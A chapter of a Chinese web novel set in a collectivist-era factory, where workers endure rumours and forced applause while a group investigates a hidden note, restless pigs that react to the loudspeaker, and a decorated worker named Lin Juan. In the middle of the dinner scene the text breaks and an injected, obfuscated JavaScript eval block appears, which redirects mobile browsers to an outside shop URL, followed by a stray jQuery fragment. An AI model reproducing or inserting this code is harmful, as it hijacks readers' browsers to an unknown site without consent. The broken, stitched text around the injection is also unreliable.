清晨的薄雾还没散尽,厂区上空的高音喇叭就先一步刺破了安静。
“职工同志们请注意!播送一则厂办通报!”
播音员的声音顺着铁皮喇叭传出来,金属震颤中带着几分警示意味。
“近期,在冲刺献礼批次的关键时期,发现个别临时工存在消极怠工、不服从集体安排、散布消极言论等不良行为!各车间务必加强思想教育,发现问题及时反映,绝不能让一颗老鼠屎坏了一锅汤!”
虽然这通报没有指名道姓,但话里话外谁还听不出来。
逢空:“……”谁这么爱打小报告。
喇叭声还在厂区天井里呼啸回荡,灌装车间里的气氛已经沉了下去。
逢空走到车间时,靠门边正在扣袖扣、抹桌子的几个女工眼角余光朝她扫过来,接着便默不作声地散开,生怕站得近了沾上腥气。
传送带伴随着齿轮咬合的“咔哒”声轰隆隆转起来。
前面的工位忽地加快了手频,十几罐封装好的铁皮罐头呼啦啦涌过来,撞在滑道挡板上乒乓作响。紧接着后边的工位又放慢了节奏,空出好大一段长廊,全等着看她手忙脚乱。
逢空眼皮都懒得抬,来一罐拿一罐,掌心贴着冰凉的铁皮,顺手一抽一推,装箱、扣合、推开,木箱边沿擦过台面,没发出一点多余的磕碰声。
周围悄悄斜过来的视线慢慢收了回去,只剩下传送带转动的噪音。
广播里的通报播完,换上了《咱们工人有力量》的合唱。
趁着曲调间隙,斜对面两个女工凑在胶水桶旁,压低了嗓子咬耳朵。
“瞧见没?广播里都点名敲打上了,她还跟没事人一样,”贴标签的女工手里的剪刀在纸沿上狠狠掐了一下,“跟这种人蹲一个车间,真够倒霉的。”
旁边码箱子的女工手里的木板没停,侧头看了看逢空那整整齐齐的箱堆:“可人家手脚利索,又没耽误干活,你看她那箱子码的,比咱俩加起来都多。”
“那又怎么样?”贴标签的女工翻了个白眼,指甲扣着胶水盒盒盖,“你没看她每次广播念光荣榜的时候,都站在那里跟没听见一样?大家都鼓掌,她连个手都不拍。你说这像话吗?”
码箱女工抠着手心的木刺,小声道:“鼓掌……也不是强制的吧?”
“这是态度问题!”贴标签女工下巴一扬,“大家都在为集体努力,就她搞特殊,算怎么回事?”
她往周围看了看,又贴近了些:“我跟你说,咱们车间肯定多得是人看她不顺眼,不然怎么这么巧,今天广播就说临时工的问题。”
“谁反映的?”
“还能有谁?李主任他侄子呗,也是个狗腿子。”
码箱女工手里的木板啪嗒掉在台面上,好半天才拾起来,声音细微得像蚊子哼:“……其实,我有时候也不想鼓。”
贴标签的女工猛地转头:“你疯了?”
“你不觉得累吗,”码箱女工眼皮耷拉着,把指甲缝里的胶水渣捏碎,“开会鼓掌,表扬鼓掌,念名字还要鼓掌。一天下来手掌心都是麻的,可哪一次是给咱俩鼓的?”
“要死啊你!”先前的女工吓得脸色发白,赶紧四下看了看,一巴掌拍在她的手背上,“小声点!说这种话,也不怕被别人知道了举报你!”
“赶紧干活!”
码箱子的女工像被惊醒一样,慌忙抽出一张新标签贴在罐头上。
“你怎么干起我的活了,干你自己的。”
逢空倒是不意外,□□一家似乎格外擅长自找麻烦。
她抬头看了一眼那个码箱子的女工,那个女工正慌乱地加快动作,仿佛要把刚才那一瞬间的消极想法码进罐头里。
累不能说,不想鼓掌也是罪。这厂区里的活菩萨,确实比她想象的还要多。
中午,第一食堂。
人声喧嚷,铝饭盒撞击木桌的声音此起彼伏。
闻灼从怀里掏出一叠泛黄的线装登记册:“查到了。”
她指着册子上的记录:“钵满说的那个配色,不是去年款,在前年已经停产了。”
“而且当时标注的也是先进奖品款。”
逢空嘴里嚼着硬邦邦的馒头:“能查到是前年哪个月开始造的吗?”
闻灼翻了翻页脚:“册子上只有编号和停产年份,具体的出厂批号断页了。”
钵满把筷子架在饭盒沿上:“厂里那些待了十几年的老工人,脑子比纸册子好使,下午你可以在车间问问。”
说到这儿,她指节抓了抓发梢:“荣秀家那边,我还没来得及摸过去。”
“先不急。”逢空说。荣秀那边只是作为补充信息,可以后展开。
“等等。”
来都来了眯起眼睛盯着桌上的册子看了一会儿:“我想起来在哪见过了!这是厂里定制的奖品本!”
逢空偏过头看她:“确定?”
“千真万确。”来都来了肯定地点头,“红格线、我见主任用过,她说前几年评优秀职工、发先进表彰,发的都是这种硬面本子。”
如此一来,范围可以缩小到拿到过厂级奖品的工人身上。
钵满顺着推断:“那要是能查出当年奖品发放的领用名册,就能对上人了。”
“那工程量太大了,”来都来了拍开身上的碎屑,“这是前年停产的娃娃,是不是前年产的还两说呢,万一更早呢,咱们在厂办没有熟人。”
“比对字迹。”
逢空抬起头,视线落在正埋头吃饭的盆满身上:“盆满,这事儿得靠你。职工在食堂买饭交票,记账底单上都要本人签字。你去找找以前的登记册,把纸条上的笔迹拎出来核对。”
“只要名字对上,线索就断不了。”
盆满咕咚咽下:“行,下午我就去翻旧案底。”
“重点看二食堂的底册,”来都来了补充道,“那边靠着玩具厂,玩具厂的人基本上全在哪儿解决伙食。”
盆满点头。
下午,为了响应通报精神,加强劳动改造,□□果然又把逢空发配到了后院的养猪场。
铁锹刮在湿漉漉的水泥地上,发出刺耳的“嘎吱”声。逢空清完一条沟,搭着铁锹靠在墙根下歇脚。
门被推开,荣秀推着一辆吱呀作响的木轮独轮车走了进来,车上扣着两个大木桶。
“你怎么过来了?”逢空抬了抬眼皮。今天这班次原本轮不到荣秀。
荣秀把木桶卸下来,腰弯得很低,拿着木勺往食槽里舀饲料:“临时调的班。最近这几头快出栏的成猪心气躁,得有人在旁边守着。”
话音刚落,圈里的几头白猪已经拱着木栏撞得嘭嘭响。
逢空直起腰:“怎么个躁法?”
这些猪吃的是细精饲料,体型比普通肥猪大了一圈,肥肉沉沉地挂在身上。以往饲料一落槽,群猪都是埋头闷吃,声响闷在肚子里。
可眼下这几头成猪却显得极为亢奋,双眼混浊发红,蹄子在发霉的稻草上躁动地刨着,巨大的哼哧声震得棚顶的灰尘簌簌往下落。
热腾腾的水汽带出一股糊焦味和油腥气。
荣秀停下木勺,凑近木桶深深吸了一口气:“三妹……你闻着这饲料,不觉得挺香的么?”
逢空视线移到桶里那发黑发黏的糟粕上,眉心拧出个褶子。
香?她是饿坏了魔怔到犯了异食癖,还是ed了?
挂在养猪场走廊尽头的高音喇叭“刺啦”一声。开始播报下午的时段光荣榜:
“截至下午三点,一号线……”
逢空原本没在意,她还在琢磨荣秀刚才那句没头没脑的询问。
可还没等她理出头绪,猪圈里嘈杂的吃食声和撞击声停了。
几头白猪齐刷刷地抬起硕大的猪头,耳朵抖动起来。其中一头体型最壮的成猪猛地一拱,将沉重的木食槽掀翻在地,黏糊糊的饲料泼了一地。
逢空靠在墙边,眼神瞬间变得锐利起来,这猪感觉跟那天攻击她的那只状态很是相似。
荣秀脸上一白,扔下木勺就往猪栏边跑,伸出手拍打着木栏:“怎么又这样……别闹了……”
逢空握着铁锹柄的手指收紧:“又?”
荣秀慌乱地转过头:“没……没什么,就是惊着了。”
广播还在继续。
“……先进个人名单如下……”
一个念头忽然从她脑子里冒了出来,那天在她被猪攻击之前,喇叭也响了。
而荣秀先前解释猪不吃食时,说的是“哄哄就好了”。
逢空的眉头慢慢皱起。
是巧合?
还是……
这厂子里的异常,难道已经顺着这条产业链扩散到了养猪场?
如果是真的,那问题就不是某一个人、某一个车间出了异常。
从洋娃娃残料,到饲料,再到养猪场,几个原本没有关系的东西,正在慢慢靠近。
目前唯一确定的是:这些猪对某种东西产生了反应。
是广播?声音?还是只有播放某些内容的时候,或者是这些猪本身,就已经出现了变化。
她需要再观察一下,确认这个反应的触发条件。
晚饭时间,食堂打饭窗口人满为患。
角落的一张木桌旁,五个人围坐在一起,铝饭盒在桌上排开。
逢空撕下一角杂粮饼子:“中午有句话没来得及说。”
“前天半夜,我看到有人带钥匙开了服装厂原料仓库的门。”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17794346|207227||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
钵满眉头揪在一起:“仓库?”
“对。”逢空咽下干饼,“他们把旧洋娃娃的碎布料装了几麻袋带走了,带头的人脸上蒙着布,看不清脸。”
她看向钵满:“你们仓库钥匙平时都在谁手里?”
“看仓库的老头有一把,剩下的都在车间正副主任手里。”钵满眼神一动,“诺,她们几个今天都在这儿吃饭呢。”
斜前方那张单独空出来的干净木桌旁,坐着几个厂干部。
“里面那个脖子拉得老长的是副主任,背对着咱们、正拿勺子往盒里掏红烧肉的那个胖女人,是正主任,姓王。”
逢空顺着钵满指的方向看过去。
王主任刚好端着满当当的饭盒回座位,她走路的时候习惯性地挺着胸,遇到人也不让路,脸上带着一种习惯了别人避让的神情。
逢空:“她平时管仓库?”
“生产、进出库、报废处理,全是她说了算。”钵满后知后觉,“你觉得是她倒卖?”
“有钥匙,有调动废料的权力,还能避开夜巡。”逢空低头拨了一下饭盒里的菜,“普通工人干不了这事。”
钵满看了一眼远处的王主任。“那她还因为一个临时工想拿点填充物御寒,就把人家一顿批评。”
来都来了嗤笑一声,“这有什么奇怪的,嘴上说什么,跟手上做什么,是两回事。”
“行了,这件事留个心眼。”逢空敲了敲桌面,把众人的注意力拉回来。“盆满,那个纸条上的笔迹,比对出来了吗?”
盆满立刻放下筷子,从兜里掏出一张皱巴巴的纸条,接着又推过去几张泛黄的食堂领票底单。
“找到了!”盆满指着纸条上那潦草的字迹,“我把一食堂、二食堂近三年的签字底单都翻了一遍。你们看这儿。”
盆满指着底单上的签名,“这个字,第一笔都是往右挑的,还有这个,最后一笔喜欢往上带。”
纸条与底单并排摆在一起,笔迹如出一辙。
底单的最下方,落着一个工整的名字。
——玩具厂三线,林娟。
“玩具厂的工人,林娟。”逢空念了一遍这个名字,转头看向闻灼。
闻灼原本正在抠饭盒盖上的米粒,听到这个名字,猛地抬起头:“林娟?”
“怎么,你听过?”
闻灼将筷子放下,表情有些奇怪:“下午我在三线找老工人打听前年那批娃娃,好几个老师傅一听那配色,脸色就不太对,摆着手说不知道。”
大家不知道她为什么突然说到这里。
“后来还是之前我帮着抬过布料的一个大姐,偷偷跟我说了一些。”
“她说,前年停产的那款娃娃,是十二年前开始生产的。”
“从厂里开始做表彰产品以后,每年批次都会有这一款,这款娃娃,几乎陪着玩具厂走了十年。”
来都来了挑了挑眉,“那停产是因为先进换人了?”
“我当时还觉得这个人挺厉害的,肯定特别拼。”闻灼吸了口气:“连续十年拿到先进、亲手做这款娃娃的人,就叫林娟。”
大家齐刷刷地看向她,来都来了搂着胳膊打了个寒颤。
逢空低头看着那两个字。
林娟。
一个普通得不能再普通的名字。
普通到像随便翻开一本职工名册,都能找到几个类似的名字。可偏偏就是这个名字,出现在了这张藏在旧娃娃里的纸条上。
“所以……”盆满没想到会是这种走向,“写纸条的人,就是这个林娟?”
“现在看,很可能。”逢空把纸条重新折好。
“这不对啊……”钵满想不通,“一个年年评先进的人,为什么大家都不愿意提?”
来都来了在桌面上轻扣两下:“还有,林娟现在人呢?”
闻灼摇了摇头,“大姐让我别再问了。”
逢空盯着那半个被撕裂的字迹,直觉告诉她,这个林娟绝对是一把关键钥匙。
“来都来了。”逢空当机立断,“你接触的人多。你这两天想办法在买东西的工人里打听一下,特别是一些老工人,看有没有人知道林娟到底是谁,她去哪儿了。”
“闻灼,你就在三线,多留意一下那个告诉你的大姐。”
“盆满,继续核对其他记账单,看看林娟最后一次签名是在什么时候。”
“钵满,荣秀街坊那边要推进了,既然荣秀截断了林娟连续10年……”
逢空说到一半,话音戛然而止,双眼微微眯起:“不对,荣秀也是10年先进。”
“钵满你先去查一下,荣秀和林娟的先进是否冲突。”
来都来了兴奋:“看来这个林娟有搞头!”